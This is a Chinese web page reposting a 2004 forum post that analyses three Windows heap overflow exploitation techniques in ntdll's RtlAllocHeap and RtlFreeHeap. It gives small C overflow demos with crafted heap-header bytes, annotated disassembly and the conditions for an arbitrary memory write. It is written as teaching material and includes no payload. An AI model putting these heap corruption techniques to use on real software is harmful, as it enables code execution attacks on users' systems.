云联天下首页 |  登陆 |  注册 |  密码找回 |  关于我们 | 加入收藏 
首页技术资料系统/服务器→总结windows下堆溢出的三种利用方式 【字号: 】 【背景色 杏仁黄 秋叶褐 胭脂红 芥末绿 天蓝 雪青 灰 银河白(默认色)

总结windows下堆溢出的三种利用方式

网址来源:http://www.kehui.net发布时间: 2004-11-05 11:33:16
文章属性:转载
文章提交:watercloud (watercloud_at_xfocus.org)

原文由Leven发在网络编程版:
https://www.xfocus.net/bbs/index.php?act=SE&f=3&t=34455&p=122380


总结windows下堆溢出的三种利用方式

1.利用RtlAllocHeap
这是ISNO提到的,看这个例子

main (int argc, char *argv[])
{
  char *buf1, *buf2;
  char s[] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaax03x00x05x00x00x01x08x00x11x11x11x11x21x21x21x21";

  buf1 = (char*)malloc (32); /* 分配两块内存 */
  memcpy (buf1, s, 32+16); /* 这里多复制16个字节 */

  buf2 = (char*)malloc (16);

  free (buf1);
  free (buf2);

  return 0;
}

在给buf1完成malloc之后,返回的地址(buf1)是个指针,指向的内存分配情况是这样

buf1的管理结构(8bytes)|buf1真正可操作空间(32bytes)|下一个空闲堆的管理结构(8bytes)|两个双链表指针(8bytes)

在给buf2完成malloc之后,buf1指向的内存分配情况是这样

buf1的管理结构(8bytes)|buf1真正可操作空间(32bytes)|buf2的管理结构(8bytes)|buf2真正可操作空间(16bytes)|两个双链表指针(8bytes)

现在如果在buf2分配空间之前,buf1的memcpy操作溢出,并且覆盖了
下一个空闲堆的管理结构(8bytes)|两个双链表指针(8bytes)
共16个字节的时候,就会造成buf2的RtlAllocHeap操作异常。原因看RtlAllocHeap的这段代码

001B:77FCC453  8901                MOV       [ECX],EAX
001B:77FCC455  894804              MOV       [EAX+04],ECX

此时ECX指向两个双链表指针(8bytes)的后一个指针(0x21212121),EAX指向前一个指针(0x11111111)。类似于 format string溢出,可以写任意数据到任意地址,这种情况比较简单,前提是在buf2分配空间之前buf1有溢出的机会

2.利用RtlFreeHeap的方式一
这是ilsy提到的,看例子

main (int argc, char *argv[])
{
  char *buf1, *buf2;
  char s[] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaax03x00x05x00x00x09";

  buf1 = (char*)malloc (32); /* 分配两块内存 */
  buf2 = (char*)malloc (16);

  memcpy (buf1, s, 32+6); /* 这里多复制6个字节 */

  free (buf1);
  free (buf2);

  return 0;
}

由于buf1多复制了6个字节,这6个字节会覆盖掉buf2的管理结构,在free(buf2)时会发生异常。只要我们精心构造这个6个字节就可以达到目的

先看看8字节管理结构的定义(从windows源码中找到)
typedef struct _HEAP_ENTRY {

    //
    //  This field gives the size of the current block in allocation
    //  granularity units.  (i.e. Size << HEAP_GRANULARITY_SHIFT
    //  equals the size in bytes).
    //
    //  Except if this is part of a virtual alloc block then this
    //  value is the difference between the commit size in the virtual
    //  alloc entry and the what the user asked for.
    //

    USHORT Size;

    //
    // This field gives the size of the previous block in allocation
    // granularity units. (i.e. PreviousSize << HEAP_GRANULARITY_SHIFT
    // equals the size of the previous block in bytes).
    //

    USHORT PreviousSize;

    //
    // This field contains the index into the segment that controls
    // the memory for this block.
    //

    UCHAR SegmentIndex;

    //
    // This field contains various flag bits associated with this block.
    // Currently these are:
    //
    //  0x01 - HEAP_ENTRY_BUSY
    //  0x02 - HEAP_ENTRY_EXTRA_PRESENT
    //  0x04 - HEAP_ENTRY_FILL_PATTERN
    //  0x08 - HEAP_ENTRY_VIRTUAL_ALLOC
    //  0x10 - HEAP_ENTRY_LAST_ENTRY
    //  0x20 - HEAP_ENTRY_SETTABLE_FLAG1
    //  0x40 - HEAP_ENTRY_SETTABLE_FLAG2
    //  0x80 - HEAP_ENTRY_SETTABLE_FLAG3
    //

    UCHAR Flags;

    //
    // This field contains the number of unused bytes at the end of this
    // block that were not actually allocated.  Used to compute exact
    // size requested prior to rounding requested size to allocation
    // granularity.  Also used for tail checking purposes.
    //

    UCHAR UnusedBytes;

    //
    // Small (8 bit) tag indexes can go here.
    //

    UCHAR SmallTagIndex;

#if defined(_WIN64)
    ULONGLONG Reserved1;
#endif

} HEAP_ENTRY, *PHEAP_ENTRY;

就是

本堆的size(2bytes)|上一个堆的size(2bytes)|index(1byte)|flag(1byte)|unusedbytes(1byte)|smalltagindex(1byte)

注意这里的size是实际大小进行8字节对齐后除以8的值
可以看看flag的各个定义

再看看RtlFreeHeap里面几个关键的地方

关键点一
001B:77FCC829  8A4605              MOV       AL,[ESI+05]  //esi指向buf2的8字节管理结构的起始地址,al即flag
001B:77FCC82C  A801                TEST      AL,01      //flag值是否含有HEAP_ENTRY_BUSY
001B:77FCC82E  0F84A40E0000        JZ        77FCD6D8      //不含则跳转。这里不能跳
001B:77FCC834  F6C207              TEST      DL,07      
001B:77FCC837  0F859B0E0000        JNZ       77FCD6D8
001B:77FCC83D  807E0440            CMP       BYTE PTR [ESI+04],40    //esi+4是否大于0x40
001B:77FCC841  0F83910E0000        JAE       77FCD6D8            //大于等于则跳转,这里不能跳
001B:77FCC847  834DFCFF            OR        DWORD PTR [EBP-04],-01
001B:77FCC84B  A8E0                TEST      AL,E0            //flag是否含有HEAP_ENTRY_SETTABLE_FLAG1 2 3
001B:77FCC84D  754A                JNZ       77FCC899            //只要含有一个就跳,这里不重要
001B:77FCC84F  8B8F80050000        MOV       ECX,[EDI+00000580]
001B:77FCC855  85C9                TEST      ECX,ECX
001B:77FCC857  7440                JZ        77FCC899            //这里必然会跳

关键点二
001B:77FCC899  C745FC01000000      MOV       DWORD PTR [EBP-04],00000001    
001B:77FCC8A0  F6C301              TEST      BL,01
001B:77FCC8A3  750F                JNZ       77FCC8B4            //这里必然会跳
001B:77FCC8A5  FFB778050000        PUSH      DWORD PTR [EDI+00000578]
001B:77FCC8AB  E853C8FBFF          CALL      ntdll!RtlEnterCriticalSection
001B:77FCC8B0  C645D401            MOV       BYTE PTR [EBP-2C],01
001B:77FCC8B4  F6460508            TEST      BYTE PTR [ESI+05],08    //flag是否含HEAP_ENTRY_VIRTUAL_ALLOC
001B:77FCC8B8  0F858BF2FFFF        JNZ       77FCBB49            //含有则跳,这里要跳

关键点三
001B:77FCBB49  83C6E8              ADD       ESI,-18            //ilsy说在不同的windows版本上这个0x18的是不同的
001B:77FCBB4C  89759C              MOV       [EBP-64],ESI
001B:77FCBB4F  8B06                MOV       EAX,[ESI]
001B:77FCBB51  894598              MOV       [EBP-68],EAX
001B:77FCBB54  8B7604              MOV       ESI,[ESI+04]
001B:77FCBB57  897594              MOV       [EBP-6C],ESI
001B:77FCBB5A  8906                MOV       [ESI],EAX            //这里会操作异常

我们看到最后操作异常的时候EAX=0X61616161,ESI=0X61616161,正好是buf1里的值,就是将buf2的起始地址减去0x18的地址的数据复制到之后

的数据所指向的地址。我们可以控制这两个数据。
可见第二种方式的前提有三个:
1)构造堆(buf2)的flag必须含有HEAP_ENTRY_BUSY和HEAP_ENTRY_VIRTUAL_ALLOC,可以设成0xff
2)构造堆的flag前面那个字节要比0x40小
3)构造堆的上一个堆(即buf1)的长度必须大于或等于0x18+0x08即32个字节,否则在关键点三处,ESI会指向我们不能控制的区域,造成利用失败
还有ilsy提到字节构造的8字节管理结构的第一个字节必须大于0x80,在我的机器上并没有必要(windows2000pro cn+sp4),他用0x99,我用0x03,也能成功利用

3.利用RtlFreeHeap的方式二

这是我研究堆溢出发现的第一种异常情况,之前不明就里,花了2个小时看了几篇帖子之后,认为这是unlink本堆块时发生的异常。
看例子

main (int argc, char *argv[])
{
  char *buf1, *buf2;
  char s[] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaax03x00x05x00x00x00x08x00x11x11x11x11x22x22x22x22";

  buf1 = (char*)malloc (32); /* 分配两块内存 */
  buf2 = (char*)malloc (16);

  memcpy (buf1, s, 32+16); /* 这里多复制16个字节 */

  free (buf1);
  free (buf2);

  return 0;
}

看起来和方式二很象,不过运行之后会发现,不同于上面提到的,这里在free(buf1)时就出现异常。同样再看看RtlFreeHeap的几个关键点

关键点一
同方式二的关键点一,设法跳到关键点二

关键点二
001B:77FCC899  C745FC01000000      MOV       DWORD PTR [EBP-04],00000001
001B:77FCC8A0  F6C301              TEST      BL,01
001B:77FCC8A3  750F                JNZ       77FCC8B4
001B:77FCC8A5  FFB778050000        PUSH      DWORD PTR [EDI+00000578]
001B:77FCC8AB  E853C8FBFF          CALL      ntdll!RtlEnterCriticalSection
001B:77FCC8B0  C645D401            MOV       BYTE PTR [EBP-2C],01
001B:77FCC8B4  F6460508            TEST      BYTE PTR [ESI+05],08    //flag是否含HEAP_ENTRY_VIRTUAL_ALLOC
001B:77FCC8B8  0F858BF2FFFF        JNZ       77FCBB49            //含有则跳,这里不能跳
001B:77FCC8BE  0FB706              MOVZX     EAX,WORD PTR [ESI]
001B:77FCC8C1  8945D0              MOV       [EBP-30],EAX
001B:77FCC8C4  F6470C80            TEST      BYTE PTR [EDI+0C],80
001B:77FCC8C8  7515                JNZ       77FCC8DF
001B:77FCC8CA  6A00                PUSH      00
001B:77FCC8CC  8D45D0              LEA       EAX,[EBP-30]
001B:77FCC8CF  50                  PUSH      EAX
001B:77FCC8D0  56                  PUSH      ESI
001B:77FCC8D1  57                  PUSH      EDI
001B:77FCC8D2  E8EA000000          CALL      77FCC9C1            //进入这个CALL

关键点三
001B:77FCC9C1  55                  PUSH      EBP
001B:77FCC9C2  8BEC                MOV       EBP,ESP
001B:77FCC9C4  53                  PUSH      EBX
001B:77FCC9C5  56                  PUSH      ESI
001B:77FCC9C6  8B750C              MOV       ESI,[EBP+0C]
001B:77FCC9C9  8B5D08              MOV       EBX,[EBP+08]
001B:77FCC9CC  57                  PUSH      EDI
001B:77FCC9CD  8BFE                MOV       EDI,ESI            //ESI指向buf1的起始地址
001B:77FCC9CF  0FB74602            MOVZX     EAX,WORD PTR [ESI+02]    //将buf1之前的堆的长度放入EAX
001B:77FCC9D3  C1E003              SHL       EAX,03            //乘以8得到实际大小
001B:77FCC9D6  2BF8                SUB       EDI,EAX            //EDI指向buf1之前的堆的起始地址
001B:77FCC9D8  3BFE                CMP       EDI,ESI
001B:77FCC9DA  740A                JZ        77FCC9E6
001B:77FCC9DC  F6470501            TEST      BYTE PTR [EDI+05],01    //上一个堆的flag是否含HEAP_ENTRY_BUSY
001B:77FCC9E0  0F8498E9FFFF        JZ        77FCB37E            //不能跳
001B:77FCC9E6  F6460510            TEST      BYTE PTR [ESI+05],10    //上一个堆的flag是否含HEAP_ENTRY_LAST_ENTRY
001B:77FCC9EA  750F                JNZ       77FCC9FB            //不能跳
001B:77FCC9EC  8B4510              MOV       EAX,[EBP+10]
001B:77FCC9EF  8B00                MOV       EAX,[EAX]            //buf1的堆的长度
001B:77FCC9F1  F644C60501          TEST      BYTE PTR [EAX*8+ESI+05],01 //buf2的堆的flag是否含HEAP_ENTRY_BUSY
001B:77FCC9F6  8D3CC6              LEA       EDI,[EAX*8+ESI]        //EDI指向buf2的起始地址
001B:77FCC9F9  7409                JZ        77FCCA04            //不含则跳(合并空闲堆?),这里要跳
001B:77FCC9FB  8BC6                MOV       EAX,ESI
001B:77FCC9FD  5F                  POP       EDI
001B:77FCC9FE  5E                  POP       ESI
001B:77FCC9FF  5B                  POP       EBX
001B:77FCCA00  5D                  POP       EBP
001B:77FCCA01  C21000              RET       0010
001B:77FCCA04  0FB70F              MOVZX     ECX,WORD PTR [EDI]        //ECX即buf2的堆的长度
001B:77FCCA07  03C8                ADD       ECX,EAX            //加上buf1的堆的长度
001B:77FCCA09  81F900FE0000        CMP       ECX,0000FE00        //是否大于0xfe00
001B:77FCCA0F  77EA                JA        77FCC9FB            //大于则跳,这里不能跳
001B:77FCCA11  807D1400            CMP       BYTE PTR [EBP+14],00
001B:77FCCA15  0F85FB210000        JNZ       77FCEC16
001B:77FCCA1B  8A4705              MOV       AL,[EDI+05]        //AL即buf2的flag
001B:77FCCA1E  2410                AND       AL,10            //是否含HEAP_ENTRY_LAST_ENTRY
001B:77FCCA20  A810                TEST      AL,10
001B:77FCCA22  884605              MOV       [ESI+05],AL        //将buf1的flag置为HEAP_ENTRY_LAST_ENTRY
001B:77FCCA25  754B                JNZ       77FCCA72            //含则跳,这里不能跳
001B:77FCCA27  57                  PUSH      EDI
001B:77FCCA28  53                  PUSH      EBX
001B:77FCCA29  E80CCBFBFF          CALL      77F8953A
001B:77FCCA2E  8B4F0C              MOV       ECX,[EDI+0C]        //将buf2的0x0c偏移给ECX
001B:77FCCA31  8B4708              MOV       EAX,[EDI+08]        //将buf2的0x08偏移给EAX
001B:77FCCA34  3BC1                CMP       EAX,ECX
001B:77FCCA36  8901                MOV       [ECX],EAX            //这里发生异常
001B:77FCCA38  894804              MOV       [EAX+04],ECX

方式三和方式二都是利用RtlFreeHeap函数,它们的分岔口在于关键点二的

001B:77FCC8B8  0F858BF2FFFF        JNZ       77FCBB49

方式二在这里要跳,方式三不能跳,从而进入下面的CALL(关键点三)
发生异常时ECX=0x22222222,EAX=0x11111111,这是我们能控制的。
可见方式三的前提有三个
1)构造堆(buf2)的长度不能为0
2)构造堆的上一个堆(buf1)和构造堆的长度相加不能大于0xfe00(div8之后)
3)构造堆的flag不能包含HEAP_ENTRY_BUSY

除了以上三种利用方式还有一种,和方式三差不多,不过是在free(buf2)时发生异常,应该是由于在合并下一个堆时长度计算错误造成的,具体就不分析了,类似于linux下的堆溢出,不过windows下不能将堆长度设为负数,造成一定的麻烦,sign

溢出之后的事情就不再说了。写这些主要为了分析总结一些东西,希望对初学者有帮助,不当之处请指正。

Leven 编辑于 2004-03-22 19:52
---
晕倒中

白衫 

相关新闻
v 利用ARP探测以太网中的活动主机 2004-11-05 11:39:11
v 文件上传漏洞在惠信中的应用 2004-11-05 11:40:28
v Do All in Cmd Shell 2004-11-05 11:41:29
v 测试防火墙系统 2004-11-05 11:42:21
v 居安思危--论补丁管理之理论 2004-11-05 11:52:00
v 剖析Windows系统服务调用机制 2004-11-05 11:53:24
v 《再谈进程与端口的映射》之狗尾续貂篇 2004-11-05 11:54:51
v 木桶新理论与信息安全 2004-11-06 05:44:52
v FreeBSD 中文转码(zh-hztty-2.0) 2004-11-15 06:57:58
v port tree 更新 2004-11-15 06:58:27
  最新新闻
智慧家居
智慧家居颠覆传统智能家居
智慧云谷让智能家居变成有智慧的
智慧云谷引领智慧家居新生活
科技改变生活 智慧云谷智慧家居系
智慧家居领航者,智慧云谷助你玩
智能家居如何赢得市场美誉度?
智慧云谷智慧家居:创业者有无限
WiFi智能家居你还在用?这样的智
互联网+助推智能家居产业
智慧云谷为您打造真正的智能家居
智能家居产业需要的不是单品,而
新家如何选择开关?智慧云谷iWis
智能传感器-世界首款“智”为你的
智慧云谷开关智能安防智能空气质
智能开关品牌,如何选择智能开关
秋季干燥,智慧家居温湿度传感器
传感器助力智慧家居 感知爱家
iWiscloud智能触摸开关缔造家居装

  最新帖子
 ※室内空气污染的危害及  [sensor]
 ※超声波风速传感器在生  [sensor]
 ※这么冷清  [gabc111]
 ※手机APP操作有问题  [ssy11407]
 ※智慧云谷智慧家居将在  [cici]
 ※上传下载  [cici]
 ※下载智慧家居  [apple2008]
 ※秋季干燥,智慧家居温  [apple2008]
 ※智慧家居紧扣热点 安全  [apple2008]
 ※办公大楼如何智慧化管  [apple2008]
 ※智慧云谷工业自控的优  [apple2008]
 ※传感器助力智慧家居 感  [apple2008]
 ※智能开关品牌,如何选  [apple2008]
 ※智慧云谷开关智能安防  [apple2008]
 ※没有专业人员,如何安  [apple2008]
 ※烟台智慧云谷董事长任  [apple2008]
 ※互联网+助推智能家居产  [apple2008]
 ※WiFi智能家居你还在用  [apple2008]
 ※智慧云谷智慧家居:创  [apple2008]
 ※智能家居如何赢得市场  [apple2008]
钯碳回收 硝酸银回收 银浆回收 银焊条回收 回收银浆 氯化钯回收 氯化钯回收 氧化钯回收 回收硝酸钯 钯水回收价格 海绵钯回收 钯炭回收价格 回收镀金板 深圳钯碳回收 镇江氯化钯回收 杭州钯浆回收 银浆回收多少钱 回收钯碳公司 硝酸银的价格 那里有回收金 氯化钯回收价格 江苏擦银布回收 硝酸银价格 德州钯粉回收 银铜回收 回收钯粉 回收铂碳催化剂 佛山钯碳回收 金盐回收价格 海绵钯回收 钯碳高价回收 钯回收价格 钯炭回收